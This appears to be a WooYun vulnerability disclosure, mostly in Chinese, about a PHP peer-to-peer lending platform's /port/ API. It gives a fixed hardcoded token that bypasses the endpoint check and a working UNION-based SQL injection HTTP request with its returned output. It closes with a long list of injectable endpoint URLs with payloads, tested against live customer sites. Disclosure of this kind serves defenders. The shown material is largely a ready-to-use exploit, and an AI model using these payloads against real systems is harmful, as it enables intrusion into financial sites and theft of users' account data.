WooYun.org

port目录下 首先随便看这目录下的这个文件

/port/limitApp.php

include("../core/config.inc.php");


include("ch_json_encode.php");


include_once("../modules/borrow/borrow.class.php");


/* ¶î¶ÈÉêÇë


 * 2014Äê1ÔÂ20ÈÕ 10:20:57   ÎéÐûÓî


 * ´«Èë²ÎÊý£ºÓû§ID£ºuser_id ¶î¶È£ºaccount ÉêÇëÀàÐÍ£ºtype ÉêÇëÄÚÈÝ£ºcontent  ±¸×¢£ºremark


 * ·µ»Ø²ÎÊý£ºapp_status³É¹¦1  app_statusʧ°Ü0 app_statusÒ»Ôºó-1 app_statusÒ»Ôºó-2


 */


global $mysql;


$ssql = "select * from `{system}` where nid='con_phonecode'";


$system = $mysql->db_fetch_array($ssql);











$ctstr=md5($system['value']);//md5








if($_REQUEST['dcode']!==$ctstr){ // 这里验证了一下 查询出来的


echo "¸ÃÒ³ÎÞ·¨ÏÔʾ£¡";   


exit;





}


$data['account'] = $_REQUEST['account'];


$data['content'] = $_REQUEST['content'];


$data['type'] = $_REQUEST['type'];


$data['remark'] = $_REQUEST['remark'];


$data['user_id'] = $_REQUEST['user_id'];


$result = borrowClass::GetAmountApplyOne(array("user_id" => $data['user_id'], "type" => $data['type']));


if ($result != false && $result['verify_time'] + 60 * 60 * 24 * 30 > time()) {


  $return_json['app_status'] = -1;


} elseif ($result != false && $result['addtime'] + 60 * 60 * 24 * 30 > time() && $result['status'] == 2) {


  $return_json['app_status'] = -2;

这里对查询出来的 MD5进行了验证



本来我还以为是随机的 结果是固定的。。

所有的都是shoujimd5



然后再进行md5一次 得到 7d5372bbcd6cc79f1bd71211f092622e



我们先测试一下demo



直接访问 **.**.**.**:10021/port/setPassword.php

返回 该页无法显示！



再访问 **.**.**.**:10021/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e



返回 {"set_status":"-1"}



说明过了这个验证 为了说明这个是固定的 再找几个官网上的成功案例测试一下



http://**.**.**.**/anli/index.html 来到官网的成功案例来找



http://**.**.**.**/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e



http://**.**.**.**/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e



http://**.**.**.**/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e



都返回了 并没有错误 说明是成功的 是固定的



再继续看代码

$data['account'] = $_REQUEST['account'];


$data['content'] = $_REQUEST['content'];


$data['type'] = $_REQUEST['type'];


$data['remark'] = $_REQUEST['remark'];


$data['user_id'] = $_REQUEST['user_id'];


$result = borrowClass::GetAmountApplyOne(array("user_id" => $data['user_id'], "type" => $data['type']));

http://**.**.**.**//port/limitApp.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x



数字型的 无视GPC了



MySQL错误信息：Unknown column 'x' in 'where clause'执行SQL语句错误!select p1.*,p2.username from `dw_user_amountapply` as p1 left join `dw_user` as p2 on p1.user_id=p2.user_id where 1=1 and p1.user_id=x order by p1.id desc



再继续看getLinkageOne.php

$ssql = "select * from `{system}` where nid='con_phonecode'";


$system = $mysql->db_fetch_array($ssql);











$ctstr=md5($system['value']);








if($_REQUEST['dcode']!==$ctstr){


echo "该页无法显示！";


exit;





}





$_sql = " where 1=1 ";


if (isset($_REQUEST['id']) && $_REQUEST['id'] != "") {


  $_sql .= " and p1.id = '{$_REQUEST['id']}'";


}


if (isset($_REQUEST['value']) && $_REQUEST['value'] != "") {


  $_sql .= " and p1.value = '{$_REQUEST['value']}'";


}








$sql = "select p1.id,p1.type_id,p1.name,p1.value from {linkage} as p1 


				left join {linkage_type} as p2 on p1.type_id=p2.id


				{$_sql}  order by p1.order desc,p1.id";

因为这request获取的是request url 导致了我们直接在浏览器中提交被urlencode



所以换burp提交把



POST ///port/getLinkageOne.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&id=1' and 0 union select 1,current_user,3,4# HTTP/1.1

Host: **.**.**.**

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Proxy-Connection: keep-alive

Cookie: PHPSESSID=jjc6csk3leb1163n4ckggolsm4

Content-Length: 12



name=xxx





返回



HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Sat, 08 Aug 2015 07:58:10 GMT

Content-Type: text/html;charset=GB2312

Connection: keep-alive

Content-Length: 62



[{"id":"1","type_id":"root@localhost","name":"3","value":"4"}]







大面积注入 剩下的就不分析了



/port/limitApp.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x



**.**.**.**:10021/port/setUserinfo.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x



/port/setAuto.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=1x



/port/login.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&username=xx'&password=xxx



GET /port/cashCancel.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=a' HTTP/1.1



/port/setUserBank.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x



GET /port/cashNew.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=a' HTTP/1.1



/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x'



GET /port/delAuto.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&id=a' HTTP/1.1



/port/setMessage.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&id=x'&type=



/port/delFriend.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&friend_username=a'





/port/delMessage.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&sent_user=a'







**.**.**.**:10021/port/tender.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=1asd





/port/userreg.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&username=a'





**.**.**.**:10021/port/tenderLiuzhuan.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x'



/port/sentMessage.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&receive_user=x'





给个地址 不分析了